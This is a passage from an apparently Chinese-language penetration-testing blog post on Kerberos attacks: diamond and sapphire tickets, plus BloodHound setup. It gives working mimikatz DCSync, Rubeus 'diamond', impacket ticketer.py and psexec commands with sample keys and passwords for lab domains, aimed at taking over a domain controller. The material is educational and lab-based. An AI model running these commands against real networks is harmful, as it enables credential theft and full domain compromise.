PAC\u7b7e\u540d\uff0c\u56e0\u4e3a\u767d\u94f6\u7968\u636e\u4f2a\u9020\u4e0d\u4e86\u8fd9\u73a9\u610f\u513f\uff1b\u800c\u9ec4\u91d1\u7968\u636e\u5728\u5982\u4eca\u5f88\u5bb9\u6613\u88ab\u8bc6\u522b\uff0c\u56e0\u4e3a\u4e00\u65e6KDC\u670d\u52a1\u6536\u5230TGT\/ST\uff0c\u5e76\u4e14\u5728SIEM\u4e2d\u6536\u5230\u65e5\u5fd7\uff0c\u73b0\u5728\u7684\u5b89\u5168\u8bbe\u5907\u5c31\u80fd\u68c0\u6d4b\u51fa\u6765\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u94bb\u77f3\u7968\u636e<\/h2>\n\n\n\n<p>\u4e0e\u9ec4\u91d1\u7968\u636e\u76f8\u4f3c\uff0c\u9ec4\u91d1\u7968\u636e\u548c\u94bb\u77f3\u7968\u636e\u90fd\u9700\u8981Krbgtg\u5bc6\u94a5\uff0c\u4e0d\u540c\u4e4b\u5904\u5728\u4e8e\uff0c\u9ec4\u91d1\u7968\u636e\u662f<strong>\u5229\u7528krbtgt\u7528\u6237\u7684hash\u76f4\u63a5\u4f2a\u9020\u65b0\u7684TGT<\/strong>\uff0c\u800c\u94bb\u77f3\u7968\u636e\u653b\u51fb<strong>\u8bf7\u6c42\u666e\u901a\u7968\u8bc1\u3001\u89e3\u5bc6 PAC\u3001\u4fee\u6539\u3001\u91cd\u65b0\u8ba1\u7b97\u7b7e\u540d\u5e76\u518d\u6b21\u52a0\u5bc6\uff0c\u751f\u6210\u4e0e\u5408\u6cd5 PAC \u9ad8\u5ea6\u76f8\u4f3c\u7684 PAC<\/strong>\u3002\u5229\u7528\u6761\u4ef6\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1\u3001\u57dfkrbtgt\u7684hash\n\n2\u3001\u5f53\u524d\u57df\u7528\u6237\u7684\u8d26\u53f7\u5bc6\u7801\n\n3\u3001\u57df\u540d\n\n4\u3001\u57df\u63a7\u7684\u540d\u79f0<\/code><\/pre>\n\n\n\n<p>\u8fc7\u7a0b\u5c31\u6284\u627e\u4e2a\u6587\u7ae0\u4e86\uff0c\u672c\u5730\u6ca1\u6709\u57df\u73af\u5883\uff1a<a href=\"http:\/\/www.hackdig.com\/08\/hack-1065506.htm\">\u65b0\u4e00\u4ee3Kerberos\u653b\u51fb | \u94bb\u77f3\u7968\u636e\u4e0e\u84dd\u5b9d\u77f3\u7968\u636e<\/a><\/p>\n\n\n\n<p>\u9996\u5148\u7528mimikatz\u83b7\u53d6krgtgt\u7684aes256\u5bc6\u94a5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>shell mimikatz.exe \"privilege::debug\" \"lsadump::dcsync \/domain:de1ay.com \/user:krbtgt\" \"exit\"<\/code><\/pre>\n\n\n\n<p>\u5047\u8bbe\u6211\u4eec\u73b0\u5728\u77e5\u9053\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118\nuser:mssql\npassword:1qaz@WSX\ndomain:de1ay.com\ndc:dc.de1ay.com\nticketuser:administrator<\/code><\/pre>\n\n\n\n<p>\u63a5\u4e0b\u6765\u53ef\u4ee5\u7528Rubeus\u8fdb\u884c\u94bb\u77f3\u7968\u636e\u653b\u51fb<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>shell Rubeus.exe diamond \/krbkey:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 \/user:mssql \/password:1qaz@WSX \/enctype:aes \/domain:de1ay.com \/dc:dc.de1ay.com \/ticketuser:administrator \/ptt \/nowrap<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u53ef\u4ee5\u83b7\u53d6ticket.kirbi<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>shell Rubeus.exe asktgs \/ticket:ticket.kirbi\u7684\u5185\u5bb9 \/service:cifs\/dc.de1ay.com \/ptt \/nowrap<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5373\u53ef\u7528\u4f4e\u6743\u9650\u673a\u5668\u8bbf\u95ee\u57df\u63a7<\/p>\n\n\n\n<p>\u8fd9\u91cc\u5176\u5b9e\u4e5f\u53ef\u4ee5\u770b\u51fa\u6765\u94bb\u77f3\u7968\u636e\u5229\u7528\u7684\u672c\u8d28\u4e86\uff0c\u524d\u9762\u63d0\u5230\u8fc7\uff0cwindows\u5f15\u5165PAC\u662f\u4e3a\u4e86\u5224\u65ad\u7528\u6237\u6709\u6ca1\u6709\u8bbf\u95ee\u6743\u9650\uff0c\u7406\u8bba\u4e0a\u5e94\u8be5\u53ea\u6709KDC\u80fd\u5236\u4f5c\u548c\u67e5\u770bPAC\uff0c\u5bf9\u7528\u6237\u548c\u670d\u52a1\u5668\u90fd\u900f\u660e\uff0c\u8fd9\u91cc\u6211\u4eec\u52ab\u6301\u4e86\u8fd9\u4e2a\u8fc7\u7a0b\u7ed9\u81ea\u5df1\u4fee\u6539PAC\u589e\u52a0\u4e86\u9ad8\u6743\u9650\uff0c\u6240\u4ee5\u5728\u5bf9TGT\u5f71\u54cd\u8f83\u5c0f\u7684\u60c5\u51b5\u4e0b\u5b9e\u73b0\u4e86\u63d0\u6743\uff0c\u8f83\u4e3a\u9690\u853d\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u84dd\u5b9d\u77f3\u7968\u636e<\/h2>\n\n\n\n<p>\u84dd\u5b9d\u77f3\u7968\u636e\u548c\u94bb\u77f3\u7968\u636e\u76f8\u4f3c\uff0c\u7968\u636e\u4e0d\u662f\u4f2a\u9020\u7684\uff0c\u800c\u662f\u57fa\u4e8e\u6b63\u5e38\u8bf7\u6c42\u540e\u5f97\u5230\u7684\u5408\u6cd5\u7968\u636e\u3002\u533a\u522b\u53ea\u5728\u4e8ePAC\u7684\u4fee\u6539\u65b9\u5f0f\uff0c\u94bb\u77f3\u7968\u636e\u4fee\u6539\u4e86\u5408\u6cd5\u7684PAC\uff0c\u5728\u84dd\u5b9d\u77f3\u7968\u636e\u91cc\u901a\u8fc7S4U2self+u2u\u5b9e\u73b0\uff0c\u4e0e\u94bb\u77f3\u7968\u636e\u76f8\u4f3c\uff0c\u751f\u6210\u7684\u7968\u636e\u662f\u5408\u6cd5\u5143\u7d20\u7684\u96c6\u5408\uff0c\u5e76\u9075\u5faa\u6807\u51c6\u7968\u636e\u8bf7\u6c42\uff0c\u8fd9\u4f7f\u5f97\u5b83\u6210\u4e3a\u6700\u96be\u68c0\u6d4b\u7684\u94f6\/\u91d1\u7968\u636e\u53d8\u4f53\u3002<\/p>\n\n\n\n<p>\u7531\u4e8e\u94bb\u77f3\u7968\u636e\u4f1a\u52a8\u6001\u4fee\u6539PAC\u6765\u5305\u542b\u4efb\u610f\u7ec4ID\uff0c\u7406\u8bba\u4e0a\u6765\u8bf4\u67d0\u4e9b\u8f6f\u4ef6\u6216\u8bb8\u80fd\u68c0\u6d4b\u51faPAC\u503c\u4e0e\u5b9e\u9645AD\u5173\u7cfb\u4e4b\u95f4\u7684\u5dee\u5f02\uff08\u4f8b\u5982PAC\u6307\u793a\u7528\u6237\u5c5e\u4e8e\u67d0\u4e9b\u7ec4\uff09\uff0c\u867d\u7136\u4e8b\u5b9e\u4e0a\u8fd9\u6837\u5e76\u4e0d\u53ef\u884c\u3002\u800c\u84dd\u5b9d\u77f3\u7968\u636e\u901a\u8fc7\u5728\u7968\u636e\u4e2d\u5305\u542b\u5408\u6cd5\u5f3a\u5927\u7528\u6237\u7684PAC\u6765\u4ee5\u66f4\u9690\u79d8\u7684\u65b9\u5f0f\u83b7\u53d6\u7c7b\u4f3c\u7968\u636e\u7684\u66ff\u4ee3\u65b9\u6848\uff0c\u56e0\u6b64PAC\u4e2d\u7684\u5185\u5bb9\u4e0eAD\u4e2d\u7684\u5185\u5bb9\u4e4b\u95f4\u5c06\u4e0d\u518d\u6709\u4efb\u4f55\u5dee\u5f02\u3002<\/p>\n\n\n\n<p>\u5728\u67d0\u4e9b\u7279\u5b9a\u573a\u666f\u4e2d\uff0cS4U2self\u548cU2U\u53ef\u4ee5\u7ec4\u5408\uff0c\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u8fd9\u4e24\u79cd\u673a\u5236\u5728\u5176\u8bf7\u6c42\u4e2d\u5305\u542b\u7684\u6807\u5fd7\u548c\u7ed3\u6784\u88ab\u7ec4\u5408\u3002\u8fd9\u5141\u8bb8<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u64cd\u4f5c\u6765\u81ea\u65e0 SPN \u5e10\u6237\u7684 RBCD \u653b\u51fb<\/li>\n\n\n\n<li>\u8fdb\u884cunPAC-the hash\u653b\u51fb<\/li>\n\n\n\n<li>\u68c0\u7d22\u5e76\u89e3\u5bc6\u4efb\u4f55\u5e10\u6237\u7684PAC\uff0c\u53ef\u4ee5\u7528\u6765\u83b7\u5f97\u84dd\u5b9d\u77f3\u7968\u636e\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u63a5\u4e0b\u6765\u4f7f\u7528\u7684\u5de5\u5177\u662f<a href=\"https:\/\/github.com\/ShutdownRepo\/impacket\/blob\/sapphire-tickets\/examples\/ticketer.py\">https:\/\/github.com\/ShutdownRepo\/impacket\/blob\/sapphire-tickets\/examples\/ticketer.py<\/a> \u5047\u8bbe\u6211\u4eec\u77e5\u9053<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>domain admin:snapattack\ndomain:snapattcker.labs\nuser:vgullible\npass:Passw0rd1\naesKey:fec5d... ....\ndomain-sid:S-1-5 ... ...\nDC:arrakis.snapattack.labs<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 ticketer.py -request -impersonate 'snapattack' -domain 'snapattack.labs' -user 'vgullible' -password 'Passw0rd1' -aesKey 'fec5d... ....' -domain-sid 'S-1-5-21-... ...' 'snapattcker'<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>export KRB5CCNAME=snapattcker.cache<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 psexec.py snapattack.labs\/snapattack@arrakis.snapattack.labs cmd.exe -k debug -n<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5373\u53ef\u63a5\u7ba1\u57df\u63a7<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u57df\u4fe1\u606f\u641c\u96c6\u5de5\u5177BloodHound<\/h1>\n\n\n\n<p>bloodhound\u662f\u6700\u77e5\u540d\u7684\u57df\u5185\u4fe1\u606f\u641c\u96c6\u5de5\u5177\u4e4b\u4e00\uff0c\u5b83\u53ef\u4ee5\u4f7f\u7528\u53ef\u89c6\u5316\u56fe\u5f62\u663e\u793a\u57df\u73af\u5883\u4e2d\u7684\u5173\u7cfb\uff0c\u8ba9\u653b\u51fb\u8005\u8bc6\u522b\u9ad8\u5ea6\u590d\u6742\u7684\u653b\u51fb\u8def\u5f84\u3002<\/p>\n\n\n\n<p>kali\u5b89\u88c5bloodhound:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo apt-get install bloodhound <\/code><\/pre>\n\n\n\n<p>\u5b89\u88c5\u5b8c\u6210\u540e\u542f\u52a8neo4j:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo neo4j console <\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u8bbf\u95eehttp:\/\/localhost:7474\/browser\/\uff0cUser\u9ed8\u8ba4 neo4j\uff0cPassword\u9ed8\u8ba4 neo4j\uff0c\u8fde\u63a5\u6210\u529f\u540e\u5c31\u4f1a\u63d0\u793a\u521b\u5efa\u65b0\u5bc6\u7801\uff0c\u51fa\u73b0\u4e0b\u56fe\u5373\u8bc1\u660e\u542f\u52a8\u6210\u529f\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/09\/1-36-1024x514.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"514\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/09\/1-36-1024x514.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2457\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u63a5\u4e0b\u6765\u5728\u7ec8\u7aef\u8f93\u5165bloodhound\u547d\u4ee4\u4f1a\u5f39\u51fa\u7f51\u9875\uff0c\u8f93\u5165\u5bf9\u5e94\u7684\u8d26\u53f7\u5bc6\u7801\u5373\u53ef\u6210\u529f\u767b\u5f55bloodhound<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/09\/1-37.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"985\" height=\"714\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/09\/1-37.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2458\"  sizes=\"auto, (max-width: 985px) 100vw, 985px\" \/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u53c2\u8003<\/h1>\n\n\n\n<p><a href=\"https:\/\/dar1in9s.github.io\/categories\/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F\/\">https:\/\/dar1in9s.github.io\/categories\/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F\/<\/a><\/p>\n\n\n\n<p><a href=\"http:\/\/www.taodudu.cc\/news\/show-6193984.html?action=onClick\">http:\/\/www.taodudu.cc\/news\/show-6193984.html?action=onClick<\/a><\/p>\n\n\n\n<p><a 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